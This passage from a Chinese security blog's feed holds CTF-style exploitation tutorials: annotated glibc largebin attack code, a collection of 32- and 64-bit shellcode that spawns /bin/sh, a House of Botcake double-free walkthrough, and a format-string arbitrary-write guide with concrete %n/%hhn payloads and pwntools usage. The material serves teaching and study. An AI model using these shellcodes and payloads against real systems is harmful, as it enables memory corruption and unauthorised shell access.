maintain large bins in sorted order * /</span><br><span class="line">              if (fwd != bck) //// largebin不为空</span><br><span class="line">                &#123;</span><br><span class="line">                  /* Or with inuse bit to speed comparisons */</span><br><span class="line">                  size |= PREV_INUSE;</span><br><span class="line">                  /* if smaller than smallest, bypass loop below */</span><br><span class="line">                  assert (chunk_main_arena (bck-&gt;bk));</span><br><span class="line">                  if ((unsigned long) (size)</span><br><span class="line">      &lt; (unsigned long) chunksize_nomask (bck-&gt;bk)) ////确认victim为最小，因此插入到链表最后</span><br><span class="line">                    &#123;</span><br><span class="line">                      fwd = bck;</span><br><span class="line">                      bck = bck-&gt;bk;</span><br><span class="line">                      //// largebin:: [fwd]: bck</span><br><span class="line">                      //// 等同于2节例子中：[av]: B </span><br><span class="line"></span><br><span class="line">                      victim-&gt;fd_nextsize = fwd-&gt;fd; ////fwd-&gt;fd 即为bck,也就是例子里的B</span><br><span class="line">                      victim-&gt;bk_nextsize = fwd-&gt;fd-&gt;bk_nextsize; //// 因此victim-&gt;bk_nextsize = bck-&gt;bk_nextsize (即A-&gt;bk_nextsize = B-&gt;bk_nextsize)</span><br><span class="line">                      fwd-&gt;fd-&gt;bk_nextsize = victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;</span><br><span class="line"> ////即bck-&gt;bk_nextsize = bck-&gt;bk_nextsize-&gt;fd_nextsize = victim</span><br><span class="line"> ////即例子：B-&gt;bk_nextsize = B-&gt;bk_nextsize-&gt;fd_nextsize = A</span><br><span class="line"> ////==&gt; largebin attack的精髓即：B-&gt;bk_nextsize-&gt;fd_nextsize = A， </span><br><span class="line"> ////==&gt; 而它通过两步计算得到：victim-&gt;bk_nextsize = fwd-&gt;fd-&gt;bk_nextsize; 和 victim-&gt;bk_nextsize-&gt;fd_nextsize = victim;</span><br><span class="line">                    &#125;</span><br></pre></td></tr></table></figure><h3 id="参考"><a class="markdownIt-Anchor" href="#参考"></a> 参考</h3><p><a href="https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/largebin_attack.c">heap_exploit_2.31/largebin_attack.c</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;1-漏洞样式&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#1-漏洞样式&quot;&gt;&lt;/a&gt; 1. 漏洞样式&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;漏洞要求：Write After Free&lt;/li&gt;
&lt;li&gt;chunk大小：可申请 large bin(</summary>
      
    
    
    
    <category term="Pwn2Own" scheme="http://www.4x7.fun/categories/Pwn2Own/"/>
    
    
    <category term="HeapAttack" scheme="http://www.4x7.fun/tags/HeapAttack/"/>
    
    <category term="LargeBinAttack" scheme="http://www.4x7.fun/tags/LargeBinAttack/"/>
    
    <category term="Arbitrary Write" scheme="http://www.4x7.fun/tags/Arbitrary-Write/"/>
    
    <category term="Write After Free" scheme="http://www.4x7.fun/tags/Write-After-Free/"/>
    
  </entry>
  
  <entry>
    <title>Shellcode Collection</title>
    <link href="http://www.4x7.fun/2022/03/21/shellcode/"/>
    <id>http://www.4x7.fun/2022/03/21/shellcode/</id>
    <published>2022-03-21T12:44:19.000Z</published>
    <updated>2022-04-20T03:56:13.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="32位"><a class="markdownIt-Anchor" href="#32位"></a> 32位</h2><p>有&quot;\x00&quot;最短 20 byte</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">shellcode= &#x27;&#x27;&#x27;            </span><br><span class="line">xor ecx,ecx               </span><br><span class="line">mul ecx                   </span><br><span class="line">mov al,0xb                </span><br><span class="line">push 0x68732f             </span><br><span class="line">push 0x6e69622f           </span><br><span class="line">mov ebx,esp               </span><br><span class="line">int 0x80                  </span><br><span class="line">&#x27;&#x27;&#x27;                       </span><br><span class="line">shellcode=asm(shellcode)</span><br></pre></td></tr></table></figure><p>无&quot;\x00&quot;最短 21 byte</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">xor ecx,ecx</span><br><span class="line">mul ecx</span><br><span class="line">push eax</span><br><span class="line">mov al,0xb</span><br><span class="line">push 0x68732f2f   </span><br><span class="line">push 0x6e69622f   </span><br><span class="line">mov ebx,esp</span><br><span class="line">int 0x80</span><br></pre></td></tr></table></figure><p>标准shellcode 23 byte</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">xor ecx,ecx</span><br><span class="line">xor edx,edx</span><br><span class="line">push edx</span><br><span class="line">push 0x68732f2f</span><br><span class="line">push 0x6e69622f</span><br><span class="line">mov ebx,esp</span><br><span class="line">xor eax,eax</span><br><span class="line">mov al,0xB</span><br><span class="line">int 0x80</span><br></pre></td></tr></table></figure><h2 id="64位"><a class="markdownIt-Anchor" href="#64位"></a> 64位</h2><p>最短有&quot;\x00&quot; 22 byte</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">xor rsi,rsi</span><br><span class="line">mul esi</span><br><span class="line">mov rbx,0x68732f6e69622f</span><br><span class="line">push rbx</span><br><span class="line">push rsp</span><br><span class="line">pop rdi</span><br><span class="line">mov al, 59</span><br><span class="line">syscall</span><br></pre></td></tr></table></figure><p>最短无&quot;\x00&quot; 23 byte</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">xor rsi,rsi</span><br><span class="line">mul esi</span><br><span class="line">push rax</span><br><span class="line">mov rbx,0x68732f2f6e69622f</span><br><span class="line">push rbx</span><br><span class="line">push rsp</span><br><span class="line">pop rdi</span><br><span class="line">mov al, 59</span><br><span class="line">syscall</span><br></pre></td></tr></table></figure><p>标准shellcode 31 byte</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">xor    rdi,rdi</span><br><span class="line">xor    rsi,rsi</span><br><span class="line">xor    rdx,rdx</span><br><span class="line">xor    rax,rax</span><br><span class="line">push   rax</span><br><span class="line">mov rbx,0x68732f2f6e69622f</span><br><span class="line">push   rbx</span><br><span class="line">mov    rdi,rsp</span><br><span class="line">mov    al,0x3b</span><br><span class="line">syscall</span><br></pre></td></tr></table></figure><h3 id="转载自"><a class="markdownIt-Anchor" href="#转载自"></a> 转载自:</h3><p><a href="https://b0ldfrev.gitbook.io/note/pwn/linux_shellcode">Linux_ShellCode</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;32位&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#32位&quot;&gt;&lt;/a&gt; 32位&lt;/h2&gt;
&lt;p&gt;有&amp;quot;\x00&amp;quot;最短 20 byte&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;</summary>
      
    
    
    
    <category term="Pwn2Own" scheme="http://www.4x7.fun/categories/Pwn2Own/"/>
    
    
    <category term="shellcode" scheme="http://www.4x7.fun/tags/shellcode/"/>
    
  </entry>
  
  <entry>
    <title>HeapAttack: House_of_Botcake</title>
    <link href="http://www.4x7.fun/2022/03/18/HeapAttack-House-of-Botcake/"/>
    <id>http://www.4x7.fun/2022/03/18/HeapAttack-House-of-Botcake/</id>
    <published>2022-03-18T12:16:10.000Z</published>
    <updated>2022-04-20T03:56:22.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-漏洞样式"><a class="markdownIt-Anchor" href="#1-漏洞样式"></a> 1. 漏洞样式</h2><ul><li>glibc版本：≥ 2.3.1</li><li>Tcache：开启</li><li>漏洞要求：double free</li></ul><h2 id="2-利用方法"><a class="markdownIt-Anchor" href="#2-利用方法"></a> 2. 利用方法</h2><h3 id="21-攻击效果"><a class="markdownIt-Anchor" href="#21-攻击效果"></a> 2.1 攻击效果</h3><p>绕过Tcache的 tcache-dup 检查，将 <code>可控chunk</code> 插入 <code>Tcache-list</code>,修改 <code>可控chunk</code> 的 <code>fd</code> 字段，从而 <strong>最终实现</strong> <code>任意地址写</code>’。</p><h3 id="22-攻击过程"><a class="markdownIt-Anchor" href="#22-攻击过程"></a> 2.2 攻击过程</h3><p>伪代码表示如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">size = 0x108</span><br><span class="line"></span><br><span class="line">mem_lst = [ malloc(size) for x in range(7) ] #创建7个chunk</span><br><span class="line"></span><br><span class="line">a = malloc(size) </span><br><span class="line">b = malloc(size)  #a,b chunk是主角</span><br><span class="line"></span><br><span class="line">malloc(0x18) #和top_chunk隔离，防止forward-consolidation</span><br><span class="line"></span><br><span class="line">[free(x) for x in mem_lst] #把7个chunk free到tcache中,tcache被填满</span><br><span class="line"></span><br><span class="line">free(a) #因tcache已满，a、b进unsorted-bin</span><br><span class="line">free(b) #a、b邻接,因此发生consolidate合并成一个chunk在unsorted-bin中</span><br><span class="line"></span><br><span class="line">malloc(size) #一次分配后tcache有一个空位</span><br><span class="line">free(b) #对b使用double-free攻击。由于b不在tcache中，因此通过tcache检查被加入到tcache中。</span><br><span class="line"></span><br><span class="line">c = malloc(size + 0x30) #unsorted-bin发生remaindering，chunk-b的前0x30被memory-c overlap</span><br><span class="line"></span><br><span class="line">payload = size * b&quot;\0&quot; + p64(size) + p64(target_address) </span><br><span class="line">#不同size时的payload写法不同；但目的是target_address覆盖到 b-&gt;fd</span><br><span class="line"></span><br><span class="line">write(c, payload)  ##这里将target_address链接到tcache list中，下次对tcache size的内存请求即可分配到目标地址的内存chunk</span><br><span class="line"></span><br><span class="line">target_memory = malloc(size)</span><br><span class="line">write(target_memory, arbitrary_value)</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="参考"><a class="markdownIt-Anchor" href="#参考"></a> 参考：</h3><p><a href="https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/house_of_botcake.c">heap_exploit_2.31/house_of_botcake.c</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;1-漏洞样式&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#1-漏洞样式&quot;&gt;&lt;/a&gt; 1. 漏洞样式&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;glibc版本：≥ 2.3.1&lt;/li&gt;
&lt;li&gt;Tcache：开启&lt;/li&gt;
&lt;li&gt;漏洞要求：doub</summary>
      
    
    
    
    <category term="Pwn2Own" scheme="http://www.4x7.fun/categories/Pwn2Own/"/>
    
    
    <category term="HeapAttack" scheme="http://www.4x7.fun/tags/HeapAttack/"/>
    
    <category term="House_of_Botcake" scheme="http://www.4x7.fun/tags/House-of-Botcake/"/>
    
    <category term="tcache" scheme="http://www.4x7.fun/tags/tcache/"/>
    
  </entry>
  
  <entry>
    <title>Format-String Attack</title>
    <link href="http://www.4x7.fun/2022/03/18/fmtstr_attack/"/>
    <id>http://www.4x7.fun/2022/03/18/fmtstr_attack/</id>
    <published>2022-03-18T03:42:27.000Z</published>
    <updated>2022-04-20T03:56:25.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="1-漏洞样式"><a class="markdownIt-Anchor" href="#1-漏洞样式"></a> 1. 漏洞样式</h2><p>通常情况下漏洞程序样式：</p><div align=center>Table 1. Vulnerable Code Demo</div><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">char buffer[1024];</span><br><span class="line">gets(buffer, 1024);</span><br><span class="line">printf(buffer);</span><br></pre></td></tr></table></figure><p>字符串 <code>buffer</code> 可控且作为 <code>printf</code> 的第一个参数。当其中包含 <code>格式化字符(例如%s, %d, %p等)</code> 时，栈上的内容就会被当做printf的第2个、第3个参数等被输出。</p><h2 id="2-利用方法"><a class="markdownIt-Anchor" href="#2-利用方法"></a> 2. 利用方法</h2><h3 id="21-确定偏移"><a class="markdownIt-Anchor" href="#21-确定偏移"></a> 2.1 确定偏移</h3><p>输入字符串（即Table 1中<code>buffer</code>）在栈上的偏移，即<code>buffer</code>被<code>printf</code>当做参数时，作为第几个参数。参数序号从0开始： printf(arg0, arg1, arg2, …, argn); 第10参数即表示arg10</p><ul><li>步骤1. <code>break printf</code> ；即在 <code>printf</code> 下断点</li><li>步骤2. 输入 <code>%p%p%p%p</code> 等特殊字符</li><li>步骤3. 在  <code>printf</code> 函数断点，使用 <code>stack</code> 命令查看栈。找到 <code>%p%p%p%p</code> 特殊字符串在栈上的位置。如Figure 1所示。<br /><img src="https://s2.loli.net/2022/03/18/vqXDrI3Z5m4CHRE.png" alt="" /></li></ul><div align=center>Figure 1. printf stack illustration</div><p>需注意图中①断点在<code>printf</code>入口，已跳转到<code>printf</code> 但尚未执行<code>printf</code>中指令（尤其是栈指令，否则栈布局会改变）；注意图中② <code>0b</code> 即字符串 <code>%p%p%p%p</code> 距离栈顶( <code>esp</code> )的偏移为 <code>11</code>；由于在 <code>esp + 0</code> 的位置存放函数返回地址。因此 <code>%p%p%p%p</code> 字符串实际上位于 <code>栈上</code> 第 <code>10</code> 个参数。</p><ul><li>步骤4. 根据不同架构确定 <code>buffer</code> 在 <code>printf</code> 函数参数的序号。参考<a href="https://www.laruence.com/2008/04/01/116.html"><code>函数调用约定</code></a>。<ul><li>a). x86架构<br />x86架构的函数参数全部通过栈传递， 因此 <code>buffer</code> 是 <code>printf</code> 的第<code>10</code>个参数。</li><li>b). x64架构<br />x64传参顺序为rdi, rsi, rdx, rcx, r8, r9; 之后才使用栈传参。因此若 <code>Figure 1</code> 在x64架构中，<code>buffer</code>对应的是<code>printf</code>函数的第（0xb + 6 - 1)= 16 个参数(参数序号从0开始，0，1，2，…, 16)。</li></ul></li></ul><h3 id="22-实现任意地址写"><a class="markdownIt-Anchor" href="#22-实现任意地址写"></a> 2.2 实现任意地址写</h3><p>往 <code>任意目标地址(记为target_address)</code> 中写入 <code>任意值(记为target_value)</code> 。</p><ul><li>1). 任意值的控制：通过格式化字符串 <code>%Mc</code> 其中 <code>M=target_value</code>来操控</li><li>2). 任意地址的控制：将目标地址(<code>target_address</code>)写入<code>buffer</code>字符串中；并通过格式化字符串 <code>%N$n</code>来指定将 <code>*当前printf已经输字符个数</code>* 写入到第 <code>N</code> 个参数指定的地址中。其中 <code>N</code>即为’使用<code>2.1</code>中方法确定的‘’在<code>buffer</code>字符串中的‘’<code>target_address</code>在栈上的位置对应的<code>printf</code>的参数序号‘。(该处使用’'分句停顿帮助阅读)</li></ul><p>例如：</p><h4 id="221-当target_value-较小时直接写入"><a class="markdownIt-Anchor" href="#221-当target_value-较小时直接写入"></a> 2.2.1 当<code>target_value</code> 较小时，直接写入</h4><p>假如buffer字符串位于printf第10个参数的位置(即arg10、即printf栈0xb(10+1)参数位）</p><div align=center>Table 2. Payload Demo 1</div><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 写4到target_address</span><br><span class="line">payload1 = p32(target_address) + b&#x27;%10$n\0&#x27;</span><br></pre></td></tr></table></figure><p>其中：<br />payload1实现写4(p32为4byte)到target_address</p><div align=center>Table 3. Payload Demo 2</div><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">payload2 = b&#x27;%100c&#x27; + b&#x27;%13$n&#x27;</span><br><span class="line">payload2 = payload2.ljust(12, b&#x27;a&#x27;)</span><br><span class="line">payload2 += p32(target_address)</span><br></pre></td></tr></table></figure><p>payload2实现写100到target_address, 此处由于target_adress没有写在字符串的开头，因此需要重新计算在栈上的偏移：字符串开头位于arg10处，字符串中target_address之前有12个字符即占3个参数位，因此target_address对应的参数位为13</p><h4 id="222-当target_value太大时分字节写入"><a class="markdownIt-Anchor" href="#222-当target_value太大时分字节写入"></a> 2.2.2 当target_value太大时，分字节写入</h4><p>假如buffer字符串位于printf第10个参数的位置(即arg10、即printf栈0xb(10+1)参数位）；且需要向<code>target_address</code> 中写入的<code>target_value</code>为<code>*0xbaedbeef</code>*。</p><pre><code>实际上就是令：*(int8*)target_address = 0xef = 239*(int8*)(target_address + 1) = 0xbe = 190*(int8*)(target_address + 2) = 0xed = 237*(int8*)(target_address + 3) = 0xba = 186</code></pre><p>这种情况下使用 <code>%N$hhn</code> 向目标地址写入<code>int8</code>宽度值 和 使用 <code>%N$hn</code> 向目标地址写入<code>int16</code>宽度值，将会非常有用。</p><p>那么可以使用如下payload实现：</p><div align=center>Table 4. Payload Demo 3</div><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">payload = p32(target_address)          //arg10</span><br><span class="line">payload += p32(target_address + 1)     //arg11</span><br><span class="line">payload += p32(target_address + 2)     //arg12</span><br><span class="line">payload += p32(target_address + 3)     //arg13</span><br><span class="line">//已有16byte输出；写入时从小到大写；即186-&gt;190-&gt;237-&gt;239</span><br><span class="line">// 186 - 16 = 170</span><br><span class="line">payload += b&quot;%170c%13$hhn&quot;</span><br><span class="line">// 190 - 186 = 4</span><br><span class="line">payload += b&quot;%4c%11$hhn&quot;</span><br><span class="line">// 237 - 190 = 47</span><br><span class="line">payload += b&quot;%47c%12$hhn&quot;</span><br><span class="line">// 239 - 237 = 2</span><br><span class="line">payload += b&quot;%2c%10$hhn&quot;</span><br></pre></td></tr></table></figure><h4 id="223-使用pwnlib的fmtstr_payload函数自动构造payload"><a class="markdownIt-Anchor" href="#223-使用pwnlib的fmtstr_payload函数自动构造payload"></a> 2.2.3 使用<code>pwnlib</code>的<code>fmtstr_payload</code>函数自动构造payload</h4><p>示例如下：</p><div align=center>Table 5. Payload Demo 4: fmtstr_payload</div><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line">from pwnlib.util import misc</span><br><span class="line">//payload = fmtstr_payload(10, &#123;0x804c044: 0x1&#125;)</span><br><span class="line">payload = fmtstr_payload(10, &#123;target_address: target_value&#125;)</span><br><span class="line">io.send(payload)</span><br></pre></td></tr></table></figure><h2 id="2-注意事项"><a class="markdownIt-Anchor" href="#2-注意事项"></a> 2. 注意事项</h2><h2 id="3-原理说明"><a class="markdownIt-Anchor" href="#3-原理说明"></a> 3. 原理说明</h2><p>参考：<br /><a href="https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/">fmtstr_attack on ctf-wiki</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;1-漏洞样式&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#1-漏洞样式&quot;&gt;&lt;/a&gt; 1. 漏洞样式&lt;/h2&gt;
&lt;p&gt;通常情况下漏洞程序样式：&lt;/p&gt;
&lt;div align=center&gt;Table 1. Vulnerable Code</summary>
      
    
    
    
    <category term="Pwn2Own" scheme="http://www.4x7.fun/categories/Pwn2Own/"/>
    
    
    <category term="Format String" scheme="http://www.4x7.fun/tags/Format-String/"/>
    
  </entry>
  
  <entry>
    <title>404</title>
    <link href="http://www.4x7.fun/404.html"/>
    <id>http://www.4x7.fun/404.html</id>
    <published>2022-02-23T11:48:56.000Z</published>
    <updated>2022-03-24T12:50:00.000Z</updated>
    
    <content type="html"><![CDATA[<hr /><div align=center align=mid style="font-size:4em">Page Not Found</div><hr />]]></content>
    
    
      
      
    <summary type="html">&lt;hr /&gt;
&lt;div align=center align=mid style=&quot;font-size:4em&quot;&gt;Page Not Found&lt;/div&gt;
&lt;hr /&gt;
</summary>
      
    
    
    
    
    <category term="404" scheme="http://www.4x7.fun/tags/404/"/>
    
  </entry>
  
</feed>
